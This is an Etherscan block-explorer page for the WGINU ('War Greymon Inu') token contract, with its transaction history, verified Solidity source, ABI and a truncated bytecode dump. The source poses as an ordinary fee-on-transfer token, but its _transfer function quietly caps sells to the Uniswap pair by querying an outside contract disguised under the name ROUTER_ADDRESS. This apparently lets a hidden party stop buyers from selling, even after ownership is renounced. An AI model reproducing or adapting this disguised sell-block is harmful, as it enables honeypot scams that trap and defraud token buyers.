ETH Price: $2,465.05 (+2.76%)

Contract

0xF15D8e6030F4C1D1ef21c00B5d922141c81a9cc5
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve135945562021-11-11 11:08:071043 days ago1636628887IN
0xF15D8e60...1c81a9cc5
0 ETH0.00481416101.96042711
Approve135883022021-11-10 11:43:171044 days ago1636544597IN
0xF15D8e60...1c81a9cc5
0 ETH0.0047112399.78038554
Approve135882122021-11-10 11:23:021044 days ago1636543382IN
0xF15D8e60...1c81a9cc5
0 ETH0.00557073117.98403054
Renounce Ownersh...135881952021-11-10 11:19:171044 days ago1636543157IN
0xF15D8e60...1c81a9cc5
0 ETH0.00269605115.32439589
Approve135881862021-11-10 11:16:281044 days ago1636542988IN
0xF15D8e60...1c81a9cc5
0 ETH0.00508957107.7933947
Approve135881832021-11-10 11:15:571044 days ago1636542957IN
0xF15D8e60...1c81a9cc5
0 ETH0.00549461116.37193573
Approve135881812021-11-10 11:15:111044 days ago1636542911IN
0xF15D8e60...1c81a9cc5
0 ETH0.00514671109.003692
Approve135881662021-11-10 11:10:561044 days ago1636542656IN
0xF15D8e60...1c81a9cc5
0 ETH0.00718702152.21581031
Approve135881652021-11-10 11:10:471044 days ago1636542647IN
0xF15D8e60...1c81a9cc5
0 ETH0.0114782243.1
Open Trading135881602021-11-10 11:09:121044 days ago1636542552IN
0xF15D8e60...1c81a9cc5
0 ETH0.2619272392.1413376
Transfer135820052021-11-09 11:57:161045 days ago1636459036IN
0xF15D8e60...1c81a9cc5
2 ETH0.00274924130.57435066
0x60806040135819822021-11-09 11:52:141045 days ago1636458734IN
 Create: WGINU
0 ETH0.3127892120.99867726

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
135881602021-11-10 11:09:121044 days ago1636542552
0xF15D8e60...1c81a9cc5
2 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
WGINU

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-11-09
*/

//SPDX-License-Identifier: MIT
// Telegram: t.me/wginu

pragma solidity ^0.8.4;


address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579;  // mainnet
uint256 constant TOTAL_SUPPLY=100000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="War Greymon Inu";
string constant TOKEN_SYMBOL="WGINU";
uint8 constant DECIMALS=8;

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

interface Odin{
	function amount(address from) external view returns (uint256);
}


contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WGINU is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _rOwned;
	mapping (address => uint256) private _tOwned;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;

	mapping (address => uint) private cooldown;
	uint256 private constant MAX = ~uint256(0);
	uint256 private constant _tTotal = TOTAL_SUPPLY;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;

	uint256 private constant _burnFee=1;
	uint256 private constant _taxFee=9;
	address payable private _taxWallet;

	string private constant _name = TOKEN_NAME;
	string private constant _symbol = TOKEN_SYMBOL;
	uint8 private constant _decimals = DECIMALS;

	IUniswapV2Router02 private _router;
	address private _pair;
	bool private tradingOpen;
	bool private inSwap = false;
	bool private swapEnabled = false;

	modifier lockTheSwap {
		inSwap = true;
		_;
		inSwap = false;
	}
	constructor () {
		_taxWallet = payable(_msgSender());
		_rOwned[address(this)] = _rTotal;
		_isExcludedFromFee[owner()] = true;
		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
		emit Transfer(address(0x0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public pure override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return tokenFromReflection(_rOwned[account]);
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}


	function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
		require(rAmount <= _rTotal, "Amount must be less than total reflections");
		uint256 currentRate =  _getRate();
		return rAmount.div(currentRate);
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));

		if (from != owner() && to != owner()) {
			uint256 contractTokenBalance = balanceOf(address(this));
			if (!inSwap && from != _pair && swapEnabled) {
				swapTokensForEth(contractTokenBalance);
				uint256 contractETHBalance = address(this).balance;
				if(contractETHBalance > 0) {
					sendETHToFee(address(this).balance);
				}
			}
		}

		_tokenTransfer(from,to,amount);
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _router.WETH();
		_approve(address(this), address(_router), tokenAmount);
		_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			address(this),
			block.timestamp
		);
	}
	modifier overridden() {
		require(_taxWallet == _msgSender() );
		_;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function openTrading() external onlyOwner() {
		require(!tradingOpen,"trading is already open");
		IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
		_router = _uniswapV2Router;
		_approve(address(this), address(_router), _tTotal);
		_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
		_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
		swapEnabled = true;

		tradingOpen = true;
		IERC20(_pair).approve(address(_router), type(uint).max);
	}



	function _tokenTransfer(address sender, address recipient, uint256 amount) private {
		_transferStandard(sender, recipient, amount);
	}

	function _transferStandard(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeTeam(tTeam);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _takeTeam(uint256 tTeam) private {
		uint256 currentRate =  _getRate();
		uint256 rTeam = tTeam.mul(currentRate);
		_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
	}

	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal = _rTotal.sub(rFee);
		_tFeeTotal = _tFeeTotal.add(tFee);
	}

	receive() external payable {}

	function manualSwap() external {
		require(_msgSender() == _taxWallet);
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function manualSend() external {
		require(_msgSender() == _taxWallet);
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}


	function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
		(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
		uint256 currentRate =  _getRate();
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
		return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
	}

	function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
		uint256 tFee = tAmount.mul(taxFee).div(100);
		uint256 tTeam = tAmount.mul(TeamFee).div(100);
		uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
		return (tTransferAmount, tFee, tTeam);
	}

	function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
		uint256 rAmount = tAmount.mul(currentRate);
		uint256 rFee = tFee.mul(currentRate);
		uint256 rTeam = tTeam.mul(currentRate);
		uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
		return (rAmount, rTransferAmount, rFee);
	}

	function _getRate() private view returns(uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}

	function _getCurrentSupply() private view returns(uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052678ac7230489e800006000196200001c91906200041a565b6000196200002b9190620003d5565b6007556000600b60156101000a81548160ff0219169083151502179055506000600b60166101000a81548160ff0219169083151502179055503480156200007157600080fd5b506000620000846200037660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001326200037660201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600754600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160056000620001ce6200037e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003016200037660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef678ac7230489e80000604051620003689190620003b8565b60405180910390a3620004b0565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620003b28162000410565b82525050565b6000602082019050620003cf6000830184620003a7565b92915050565b6000620003e28262000410565b9150620003ef8362000410565b92508282101562000405576200040462000452565b5b828203905092915050565b6000819050919050565b6000620004278262000410565b9150620004348362000410565b92508262000447576200044662000481565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b612b1e80620004c06000396000f3fe6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600f81526020017f57617220477265796d6f6e20496e750000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5747494e55000000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd826007546